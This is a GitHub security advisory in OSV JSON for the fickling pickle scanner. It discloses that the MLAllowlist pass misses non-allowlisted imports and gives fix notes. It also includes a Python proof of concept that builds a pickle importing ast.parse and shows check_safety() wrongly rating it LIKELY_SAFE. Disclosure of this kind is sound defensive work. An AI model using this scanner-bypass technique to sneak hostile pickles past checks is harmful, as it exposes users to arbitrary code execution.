{"id":"GHSA-cffv-grgg-g429","summary":"Fickling MLAllowlist analysis can miss non-allowlisted imports","details":"# Analysis\n\nThe issue was confirmed and resolved in https://github.com/trailofbits/fickling/commit/41ce7cb01edd97072994039574a2301ebb3f463d. Users are affected when running the `MLAllowlist` analysis pass _after_ another pass within the same analysis context, in which case it would fail to flag non-allowlisted imports. \n\nThis fix makes `MLAllowlist` functional again, and opt-in as originally intended, after upgrading to fix. If it is needed to scan ML pickles with an import allowlist, update calls to `check_safety()` to pass `MLAllowlist` in the `analyzer` parameter:\n\n```python\npickled = Pickled([ ... ])\nanalyzer = Analyzer([MLAllowlist()])\nres = check_safety(pickled, analyzer=analyzer)\n```\n\n# Original report\n\nUnsafeImportsML.analyze() unconditionally calls context.shorten_code(node) on every import, even ones it doesn't flag. MLAllowlist.analyze() then sees already_reported=True and skips its allowlist check entirely. MLAllowlist is dead code for all imports for the shared-context/pass-order qualification; but a fresh independent pass can report the import.\nNot an UnusedVariables bypass. Tests 1–2 in the PoC demonstrate the defect independently. MLAllowlist flags ast.parse as LIKELY_UNSAFE on a fresh context, returns 0 findings after UnsafeImportsML pollutes the shared state. Test 3 shows the full pipeline result.\n\nast.parse: not in UNSAFE_IMPORTS, not in ML_ALLOWLIST. check_safety() returns LIKELY_SAFE with 0 findings on 0.1.11. 139 stdlib modules are unblocked. Root cause is AnalysisContext.reported_shortened_code shared across all passes with no per-analyzer namespace.\n\n\nPoC (tested against 0.1.11 from PyPI):\n\n\"\"\"\nfickling MLAllowlist bypass via shorten_code shared state\n\nTested: fickling 0.1.11\n\"\"\"\n\nimport sys\n\nfrom fickling.analysis import (\n    AnalysisContext, UnsafeImportsML, check_safety, Severity\n)\nfrom fickling.ml import MLAllowlist, ML_ALLOWLIST\nfrom fickling.fickle import Pickled, UNSAFE_IMPORTS\nimport fickling.fickle as op\n\n\ndef build_payload(module: str, function: str) -\u003e Pickled:\n    return Pickled([\n        op.Proto.create(4),\n        op.ShortBinUnicode(module),\n        op.ShortBinUnicode(function),\n        op.StackGlobal(),\n        op.ShortBinUnicode(\"x=1\"),\n        op.TupleOne(),\n        op.Reduce(),\n        op.Memoize(),\n        op.EmptyDict(),\n        op.ShortBinUnicode(\"k1\"),\n        op.BinGet(0),\n        op.SetItem(),\n        op.Mark(),\n        op.BinGet(0),\n        op.ShortBinUnicode(\"k2\"),\n        op.SetItems(),\n        op.Stop(),\n    ])\n\n\ndef main():\n    target = \"ast\"\n    func = \"parse\"\n\n    print(f\"fickling MLAllowlist shorten_code bypass\")\n    print(f\"{'=' * 60}\\n\")\n\n    # Preconditions\n    assert target not in UNSAFE_IMPORTS, f\"{target} is in UNSAFE_IMPORTS\"\n    assert target not in ML_ALLOWLIST, f\"{target} is in ML_ALLOWLIST\"\n    print(f\"Target: {target}.{func}\")\n    print(f\"  In UNSAFE_IMPORTS: {target in UNSAFE_IMPORTS}\")\n    print(f\"  In ML_ALLOWLIST:   {target in ML_ALLOWLIST}\\n\")\n\n    pickled = build_payload(target, func)\n\n    # Test 1: MLAllowlist on fresh context — should flag it\n    fresh_ctx = AnalysisContext(pickled)\n    fresh_results = list(MLAllowlist().analyze(fresh_ctx))\n    print(f\"[TEST 1] MLAllowlist on fresh context: {len(fresh_results)} finding(s)\")\n    for r in fresh_results:\n        print(f\"  [{r.severity.name}] {r.message}\")\n\n    # Test 2: MLAllowlist after UnsafeImportsML — silenced\n    polluted_ctx = AnalysisContext(pickled)\n    _ = list(UnsafeImportsML().analyze(polluted_ctx))\n    polluted_results = list(MLAllowlist().analyze(polluted_ctx))\n    print(f\"[TEST 2] MLAllowlist after UnsafeImportsML: {len(polluted_results)} finding(s)\")\n\n    # Test 3: Full pipeline — LIKELY_SAFE\n    full = check_safety(pickled)\n    print(f\"[TEST 3] check_safety(): {full.severity.name} ({len(full.results)} findings)\")\n    print(f\"  fickling.load() would deserialize: {full.severity \u003c= Severity.LIKELY_SAFE}\")\n\n    print(f\"\\n{'=' * 60}\")\n    if (len(fresh_results) \u003e 0\n            and len(polluted_results) == 0\n            and full.severity == Severity.LIKELY_SAFE):\n        print(\"RESULT: MLAllowlist silenced by shorten_code shared state.\")\n        print(\"        check_safety() returns LIKELY_SAFE. fickling.load() executes.\")\n    else:\n        print(\"RESULT: Bug not reproduced. Check fickling version.\")\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())","aliases":["CVE-2026-14535","PYSEC-2026-2150"],"modified":"2026-12-03T00:45:37.459894879Z","published":"2026-12-03T00:34:32Z","database_specific":{"cwe_ids":["CWE-1023"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-12-03T00:34:32Z","nvd_published_at":"2026-07-04T14:16:29Z"},"references":[{"type":"WEB","url":"https://github.com/trailofbits/fickling/security/advisories/GHSA-cffv-grgg-g429"},{"type":"WEB","url":"https://github.com/trailofbits/fickling/pull/278"},{"type":"WEB","url":"https://github.com/trailofbits/fickling/commit/41ce7cb01edd97072994039574a2301ebb3f463d"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/fickling/PYSEC-2026-2150.yaml"},{"type":"PACKAGE","url":"https://github.com/trailofbits/fickling"},{"type":"WEB","url":"https://github.com/trailofbits/fickling/releases/tag/v0.1.12"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/cve-2026-14535"}],"affected":[{"package":{"name":"fickling","ecosystem":"PyPI","purl":"pkg:pypi/fickling"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.4"},{"fixed":"0.1.12"}]}],"versions":["0.1.10","0.1.11","0.1.4","0.1.5","0.1.6","0.1.7","0.1.8","0.1.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-cffv-grgg-g429/GHSA-cffv-grgg-g429.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}